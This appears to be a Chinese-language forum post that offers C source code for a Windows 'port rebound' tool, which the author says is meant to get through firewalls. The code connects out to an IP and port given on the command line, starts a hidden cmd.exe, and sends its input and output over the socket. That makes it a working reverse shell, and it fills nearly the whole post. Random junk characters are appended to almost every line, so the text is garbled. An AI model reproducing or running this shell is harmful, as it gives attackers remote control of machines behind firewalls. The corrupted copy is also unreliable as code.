Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 ni@N/Z?!pA  
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/* ============================== v/E_A3Ay&  
Rebound port in Windows NT ;9r`P_r  
By wind,2006/7 7aJLC!  
===============================*/ !kl9X-IiI  
#include H)),~<s  
#include pUs s_3  
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#pragma comment(lib,"wsock32.lib") L`$MOdF{_  
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void OutputShell(); cboue LEt  
SOCKET sClient; (CRY$+d  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; "?Eh_Dw  
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void main(int argc,char **argv) yE(>R(^  
{ J3oj}M*  
WSADATA stWsaData; @"9^U_Qf1z  
int nRet; <(YmkOS+  
SOCKADDR_IN stSaiClient,stSaiServer; Y7yh0r_  
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if(argc != 3) gF@51K  
{ ckXJ9>  
printf("Useage:\n\rRebound DestIP DestPort\n"); |-Z9-rl
  
return; R$<LEwjSw  
} =gCv`SFW  
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WSAStartup(MAKEWORD(2,2),&stWsaData); jJc?/1jv  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2t3'"8xJ  
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stSaiClient.sin_family = AF_INET; 7-"ml\z  
stSaiClient.sin_port = htons(0); 2,c{Z$\kn  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); Ixhe86-:T  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Y|t]bb  
{ ;?>xuC$  
printf("Bind Socket Failed!\n"); 28u)q2s^W|  
return; Ctpr
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} ~yH<,e  
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stSaiServer.sin_family = AF_INET; 'k=GSb  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); *]Nd I  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q<L>r?T[  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ^uzJu(  
{ 6b9 oSY-8  
printf("Connect Error!"); TFbMrIF  
return; ^YddVp  
} `A8nAgbe  
OutputShell(); =v-BzF15  
} 1$Rua  

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void OutputShell() zQJ9V\0  
{ CeD O:J=,  
char szBuff[1024]; a%"mgCB  
SECURITY_ATTRIBUTES stSecurityAttributes; 3okh'P%+  
OSVERSIONINFO stOsversionInfo; XK[cbVu  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; " (c#H  
STARTUPINFO stStartupInfo; `9a %vN  
char *szShell; ;Wa4d`K  
PROCESS_INFORMATION stProcessInformation; z1t YD  
unsigned long lBytesRead; lf4V;|!^  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 3.M<ATe^  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); J<h^V+x  
stSecurityAttributes.lpSecurityDescriptor = 0; T `x:80  
stSecurityAttributes.bInheritHandle = TRUE; {-*+G]  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); N|[P%WM3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); j4j %r(  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ydo"H9NOS  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; (q'w"qj  
stStartupInfo.wShowWindow = SW_HIDE; EoM}Co  
stStartupInfo.hStdInput = hReadPipe; H)&6I
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 40}qf}8n t  
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GetVersionEx(&stOsversionInfo); =Nn&$h l  
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switch(stOsversionInfo.dwPlatformId)  nN!/  
{ o@TxDG  
case 1: M`!\$D  
szShell = "command.com"; g_?:G$1H  
break; s[h& Uv"G  
default: OZ\]6]L  
szShell = "cmd.exe"; E6(OEC%,  
break; ]m}<0-0  
} 44T>Yp09  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); EsR_J/:Qe  
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send(sClient,szMsg,77,0); ?3bUE\p  
while(1) b~?FV>gl  
{ :#8#tLv  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); _,V 9^  
if(lBytesRead) d<mj=V@bd  
{ a1]@&Dr  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 1 FTxbw@  
send(sClient,szBuff,lBytesRead,0); L}O_1+b  
} '@1oM1  
else 6u>${}  
{ )-$Od2u2c  
lBytesRead=recv(sClient,szBuff,1024,0); 2O\p`,.  
if(lBytesRead<=0) break; lA[BV7.=7  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0);  9?c0cwP?  
} Mx<V;GPm  
} k.nq,  
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return; vto^[a6?  
}